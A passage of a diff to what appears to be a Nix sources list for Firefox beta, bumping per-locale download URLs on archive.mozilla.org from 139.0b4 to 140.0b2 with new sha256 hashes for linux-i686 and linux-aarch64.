       arch = "linux-i686";
-      sha256 = "91ed4c4b6b6f294b8d47b013393bfa48402a63c6f4d2f986947d51729c624f12";
+      sha256 = "f0f9886f6324a6fcce0e76c48457ade4a891f3c38e1a91997b5f97c34ed66e5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/kn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/kn/firefox-140.0b2.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "a4a2e2c5759805640ae3080c563fd0e5ca127e8b5067351928b6dfd10e45a761";
+      sha256 = "7d79b905a38e09d9551e423760ec2ca4e92fa1ef07c676da822567d9e157b400";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ko/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ko/firefox-140.0b2.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "2e09752b2c02315d79185c86e546f66d314a5c158720e1163132c54934c06ebe";
+      sha256 = "030fc4bde9e14dd0f67c8007827f52dac7a623112b250e39c67ec4621818f2e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/lij/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/lij/firefox-140.0b2.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "ebf2dd79fc7c373feaf517f3030bddec4fb22879452cc3abd6192d5868333fc2";
+      sha256 = "2042102cf667d81d62870df30e00cfb6015c7032f6367d2eee65bbc646aaa13f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/lt/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/lt/firefox-140.0b2.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "71aa1ff3f47b4be838e06bdb791bfa70b638c09dbddae37128c90ff4b4974998";
+      sha256 = "53e504395c32ae53b926505cf3fba5f3dcbae8995eec8657be085200e79bff6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/lv/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/lv/firefox-140.0b2.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "90b01be8cb7b2ebddbb2966a45f6ca29a86feb1285db233012ef85f301ca4fed";
+      sha256 = "0924feafc5ffefa07bf2d805ebb3396b8ab565f92714ad438a2077f395dfe3b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/mk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/mk/firefox-140.0b2.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "f6fa830344486666e46113e5515e1f24a0c32943db3c6bb7f02e5ad3db6de2d9";
+      sha256 = "44c9fff89d42c44ab2eeeed8ac54e9ece3d52ca3f3c05a7cc800f5ae458861b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/mr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/mr/firefox-140.0b2.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "2c58107d0ab0cd7c5fa0a4030e047c892808c9d6de05123cd0337ce36e54360d";
+      sha256 = "1740dd34a0d1a0f4b529535473714b016bda43c2838879b5991e43c8ff11eef4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ms/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ms/firefox-140.0b2.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "8afefb023e6bd415c29f075e484bd0783f5f05f10616d4f191cff8839ce372ba";
+      sha256 = "669c371e0103d0da8df990f002e1f67632de4fe01f4c4fa18c620445176de1ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/my/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/my/firefox-140.0b2.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "a713b3d904d5590488141f331d89560b0fe3c163287861b6c709133521aeda99";
+      sha256 = "2a312674d939b1cbffdb708a36d8159c1c7d7ae18fb839952db0a99909e11692";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/nb-NO/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/nb-NO/firefox-140.0b2.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "40e037728d2697304965ff04db4e8d8206335a7e52866954241766182d9f150e";
+      sha256 = "a8df416206c09635d76ef4b76f194c2044bf7527b187787e46cd445361270c87";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ne-NP/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ne-NP/firefox-140.0b2.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "32e752b56699102d5d0e65a5fbb2644b7d95059f12c737944a56c9807fcb5d4b";
+      sha256 = "9551f9f3a19efd9827cf8302bdd4ccffd9c84c5bcd34a874bff741a8e2f8b312";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/nl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/nl/firefox-140.0b2.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "086f26eb82543f2f536b3546782d9531b2367c090244bb3dd7d7b3766f5e3bdb";
+      sha256 = "9766566147c5d4b1c2150258dbbb719d1f9dd971bbb8c81c0b2a1feeeb867046";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/nn-NO/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/nn-NO/firefox-140.0b2.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "8f7faf5cf79fece9aa05dead8931cc51829399c1e77d865fc7a2e90586ffa68d";
+      sha256 = "413bfb495237e4f7bbcfed9a2a6511c0c9e0ddd84c08c7ebe939675039969b7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/oc/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/oc/firefox-140.0b2.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "7a6743d63d6ebd2c8019e5e4431d0251eb1764e5cb4c2bcd2da43489c304e0a0";
+      sha256 = "a51718ea3fcee92b96445f592ad90c51e011dad048c00e547566929968101f2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/pa-IN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pa-IN/firefox-140.0b2.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "25c72f3a21ca5c1e09b4d6c97fe8ccda39c107ee4ac23c447cd7097d0fdd8eef";
+      sha256 = "98bdcd33a7053afe0a770818337d7cbc358c387f263a6a587065adeab091d5ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/pl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pl/firefox-140.0b2.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "f1adf8d5eedd479cc763fefd80306a4f400a0b8838b356d223aab85f305c0b51";
+      sha256 = "80d06c0c7d211136e715bc0d708b261da09f17e4182d302ae2c673265251452c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/pt-BR/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pt-BR/firefox-140.0b2.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "ca70a854d9930a008fba706f839840408dfd37b7805b1fc686786c7804906c1b";
+      sha256 = "857d512372876071be9741ab69ead9641221578e66b46c08be0bd4b9ceb67ee5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/pt-PT/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/pt-PT/firefox-140.0b2.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "b81b41f9aca42e313941fe69c2a884118144640f5faa53fb16b21e0d19ffc640";
+      sha256 = "b8b555872fcd6f6dfdaa08f084ca65fbf33d58bcd8419973f2efe25b3d03e5e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/rm/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/rm/firefox-140.0b2.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "68b07bd5a6f6adf58851980157e1a04f6a0a069d4418fbf74108eb7101e39905";
+      sha256 = "ca253108c8246320aa47376f5e6dd0663d76c7c05fcb8d156f3d4e236b1329e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ro/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ro/firefox-140.0b2.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "34962c09e2f96ff552733d3e70363989122e58657d85488d215b12aba6a478de";
+      sha256 = "8006f4534e48d7dd26725dd3cd7cae56aff960181f9f7a8e63648c90c3afafac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ru/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ru/firefox-140.0b2.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "631f44ac7908c217df544986041576f22afa37ada0b550ceb4f143b68f6f044d";
+      sha256 = "c57b4c19aae50965bd88d0fdece6b999f02885987d2fe52ce251e2cedb175c2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sat/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sat/firefox-140.0b2.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "f55ed94a407e02de8f519e0db3731c778ae27f53dba62a4d27dea12ee5c69d67";
+      sha256 = "a15d19aafd33c8a95b2fd7e9f35086043e08151255b7eab880918422a2c6c727";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sc/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sc/firefox-140.0b2.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "ecdeba036f6d3c69377b282fc11b16137ddcc97c55d49f12a6497b3ddd857758";
+      sha256 = "9843fc42dec2c3af953736915c4ba815b170276442f679c448ce094bd844d152";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sco/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sco/firefox-140.0b2.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "a9c5742f64b9018906b5fabd9373e5fe8805a447a001acbc3106818f081ff09b";
+      sha256 = "b6991a246b2328c04ddd385ac16438f4e73da1ed9ad2485e3ac322b26e3c3a68";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/si/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/si/firefox-140.0b2.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "3621682261e1243d64012ae5ef4508458ef088a20c097f22d0d3889b2c0fad00";
+      sha256 = "2f93452a96fed41bfbaf5467f33372ebb6b9f6c0ba5ba40cd1f349b8c983e71e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sk/firefox-140.0b2.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "15ee029ae13f93060ceb44bc032e90062fbeb4e7f1cddd4acbdd8c03187441b2";
+      sha256 = "47e6d512ce895898505b8ca6b7105ddcb6017a1f3b0878dd904244c2826140a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/skr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/skr/firefox-140.0b2.tar.xz";
       locale = "skr";
       arch = "linux-i686";
-      sha256 = "c61dbb39288239c7620c87d799fd745f02f1e2e4320ce8f44f92aeff38e35204";
+      sha256 = "871e23a7c187230462ebb61550c9083b2d898c5f76160e95913a0fad8f60742e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sl/firefox-140.0b2.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "701b3105c92bf18dc0baa508008c6a9208ba69a67babe16f7404dc50e5b5c822";
+      sha256 = "57db29bc5fd0f98b231338bb256e07953fb54867cf483de08b7b530526f8defb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/son/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/son/firefox-140.0b2.tar.xz";
       locale = "son";
       arch = "linux-i686";
-      sha256 = "a7b5fb0c9cf055db86b411d5b4d8fe7b154dd79da1e0d23f050bb890e111584a";
+      sha256 = "72873188351e9dd5ba46fb229eff1306713944a45dfb6c96ca24bb5ab4ad61f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sq/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sq/firefox-140.0b2.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "e88c917629b50cc933daed3134bf61bb9a7021db66d5840c00e179afd22af58b";
+      sha256 = "5acec6030e5705819159886d9a719fefc5aafad0d69b58d3cbcdcda1311264fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sr/firefox-140.0b2.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "c06aa97b94fee81c474784e005ea0b87fb108dbc023697caa036e0c8b394e825";
+      sha256 = "74ac1e41660b8127c701b30e616131ba46e87b47665095c0836fb70bc9525d10";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/sv-SE/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/sv-SE/firefox-140.0b2.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "972103e2717945e1c7f53e6606bbc6b8939f9030a4bcb2d4fc718e230669eaff";
+      sha256 = "62676a28d5791d0bdb0ab45996313442d9ebe8e36a401f1750e3522f2148bbb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/szl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/szl/firefox-140.0b2.tar.xz";
       locale = "szl";
       arch = "linux-i686";
-      sha256 = "04adc5b6186a5af52d0e49dfb798bfd7da80553cd284763b5affc471dd1e8328";
+      sha256 = "89c2be0bfcddaa8c44bfca3ab3c91f9c257b1ecebcbeacea203673f4a4e0edb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ta/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ta/firefox-140.0b2.tar.xz";
       locale = "ta";
       arch = "linux-i686";
-      sha256 = "44934dc8cc75f9e0d96812ad7f60de98b1fc7f2008926afa61a3ac81d3c43977";
+      sha256 = "6df705686cc62e94fff63e1eea2c962e6ac8e45c797755809f4ef7657e97f489";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/te/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/te/firefox-140.0b2.tar.xz";
       locale = "te";
       arch = "linux-i686";
-      sha256 = "a65484fff230858c4f0ce1c8554928e469fe06c5c0eb941217ba770a15cf3762";
+      sha256 = "011478d18c5a07bee2dc417a618be95ed94b10f9e97c315c2114405219f4f633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/tg/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/tg/firefox-140.0b2.tar.xz";
       locale = "tg";
       arch = "linux-i686";
-      sha256 = "78ea45f86204077dafa932bc892159ae11bf1bf8f32a86b9bb79742944115250";
+      sha256 = "bf71f9da12c8060543ebe48ebfdcc6e2e16a8b86b930a138a7a35996d6308974";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/th/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/th/firefox-140.0b2.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "937d5f0858d4701a739557a54df30dc20ed3dfa0c92d9c08909b64c57ee34dc9";
+      sha256 = "f8c6c9c5a8d51df500f463cab3951addd59a11eda3bc92228d9c42a56c3883a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/tl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/tl/firefox-140.0b2.tar.xz";
       locale = "tl";
       arch = "linux-i686";
-      sha256 = "977abd61324f94d41a030ed8affb6d7c99a9f44cd89df35ae5e075ff746e3b45";
+      sha256 = "45c02ae216dfbff769daf7236a31d4efd7aaca3b419ed037d3250b2a5c03658d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/tr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/tr/firefox-140.0b2.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "a9de20042a68a2afa8726b31da47e950a5fb1578a9f1c3855fe04700dd3461a5";
+      sha256 = "ff6ab57920b494349951ba85e1e604f135a6b706a89d26a93ec5945ebba7932d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/trs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/trs/firefox-140.0b2.tar.xz";
       locale = "trs";
       arch = "linux-i686";
-      sha256 = "7de7776812f6188e1b88aad5293f1472975356c989bb6dd61b53d634c1595d9e";
+      sha256 = "e3999c0c31fa0c1210cbf52ae4a936ee08d1cee6a53e9f6a2b294167317bed99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/uk/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/uk/firefox-140.0b2.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "ccc2e770e91aed87bf1690dd82e52107ef49efe2062cb08ac4a4e372b097770b";
+      sha256 = "85af79aed55ab6b5f5f700540bd0a6d382195cbf0f7749e21a9705fc9cc2fc66";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/ur/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/ur/firefox-140.0b2.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "1e61bbf085a439b6a51add991499e582a58f50453c2018d15548f0ce50f95191";
+      sha256 = "8efb1afcb3555911be2816f62db5d2d2115f416804064f4a7ea016d368605bce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/uz/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/uz/firefox-140.0b2.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "7b4120e694d31a901d7e9224ca42034db85f27f9062463f1fbe7aa8dd7afcfd6";
+      sha256 = "bbc614544c7b2272e812ea8ebd058adef37bc905bfb989e28259c270d837eda7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/vi/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/vi/firefox-140.0b2.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "9798b0741ff2e5eb5eadf5234d54fc5c2e473ef3d093079b7b6ac23518e06404";
+      sha256 = "f6d77d1d12ebcd17795be230395f42f8499ae4fd2c954d96a2fea50102141bcd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/xh/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/xh/firefox-140.0b2.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "17e717b6a62c34d7f0e74b9c6b4af4e04e0bb9e6e0624b5691f1762c8ac734ab";
+      sha256 = "06427fbd032094695659c8aac0b7d48b8ac49207750c72a20bd96516a086e3e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/zh-CN/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/zh-CN/firefox-140.0b2.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "a32bd1b70bfb1c5fdcf33d0c4413fc1f3d4c7c1b355e06c1e7fa571657078682";
+      sha256 = "afb4e3d700f9c67efe6ca59e1baf98dcbe014f9abcae6aa3326a94f47540556c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-i686/zh-TW/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-i686/zh-TW/firefox-140.0b2.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "0ee631ecf8b7de2ffcb9a77aba4e4dd20cb62f2a1aab53650c1c12b39c5b48a2";
+      sha256 = "1eb8189e613d855bdb4da3d929fa59ae00c87c7ce4caf26e242b77dfe4ef9e46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ach/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ach/firefox-140.0b2.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "d754b7c77338934ad9c988af0ca76c20b9d0eeb9f63beb9423d48902cf39579c";
+      sha256 = "7cd042bf81247ca4bf869772140a28da2cac0f38336c1b21774753ef0935c252";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/af/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/af/firefox-140.0b2.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "9e3893fe70cff031562b1f9b6d1a8651a591d050a02733126d00d24c8d676bf2";
+      sha256 = "0b46b672ec0ba920946e8a19b66c4c15618457fa0d70f80283e9339efe919b88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/an/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/an/firefox-140.0b2.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "01055cd10e6bb1e963a7b7366233faf8d2951318576a02a9f1e81aa7a1c4c50b";
+      sha256 = "cc4e3757e933755b79c35946f87b88a4dd0e9fd68ad8391e2f0a1ec758707c35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ar/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ar/firefox-140.0b2.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "d1cd5710aee5418d9c903f195d96f2fff01bee31875877e737399c9f4479e056";
+      sha256 = "7ca7a1330d97c5c2d242dcb9b0681768cceabbe931796d78d1db4e434c555cc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ast/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ast/firefox-140.0b2.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "55834b6c054928aa733035366c5b45ad19503f03730001d70a41ba6510d5bd72";
+      sha256 = "67976e71bcd80adbfd9e5910708ebba978a1ec02db046b209bee54c0e9fe4e7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/az/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/az/firefox-140.0b2.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "41c91dba441d06e022af5e90d2d8e77e2051e09e1cb4cec1a5fcb4bbc93dc97d";
+      sha256 = "f99cdbb0b61406a82b6d31e87a5ad60cc11b654ba20199eef7e6ff6a0211e0b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/be/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/be/firefox-140.0b2.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "be5610c2f38693dd6a1f8c4949bb8df06e201f4e769b986df4b3e404d9a0e494";
+      sha256 = "baa9da20ff4f0cd15f67ca190982a26ab45635a83d6fb2a60a0c537cdf3f0d9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/bg/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/bg/firefox-140.0b2.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "8bd908287a0c2871839dfc027e0e6279218addfdf0de06a62b4018097375e2cd";
+      sha256 = "493851b1cdeba502582e3f311858296883637763c6b3875c4e2c8fe1832726d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/bn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/bn/firefox-140.0b2.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "f74f9db667a9774b4c3eae709facd5a33b432cbf18fb72365c57ce0ce9e8c1da";
+      sha256 = "7ecad658638c5b4357e06043c33ede20870f50055f3840fa76e0829341e8ed2e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/br/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/br/firefox-140.0b2.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "a00ab0024862e999d7d739722f441b2b63368ba227346fee3e9bc80c31807771";
+      sha256 = "90cb3c30c226a64ee8e04c89ba4511741b788a08c29305e4bd37f15c568c0790";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/bs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/bs/firefox-140.0b2.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "39b8da8c52d4fa01498d9684e0f80d2431ac029e72ca39ef431533333b4318a0";
+      sha256 = "359bce9cb8555fcfd5e3782755345c74a023fd5196629993b9c7ddb4c159d29c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ca-valencia/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-aarch64/ca-valencia/firefox-140.0b2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "de6ec7c3bfffbfb4f0783ab91c708449f0f90dc21d412220044715e56f209469";
+      sha256 = "d0c0a903e7f49cdd4e7abbc010362ef7f9f94f0ddaede5c073b7d5ed492c8b4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-aarch64/ca/firefox-139.0b4.tar.xz";
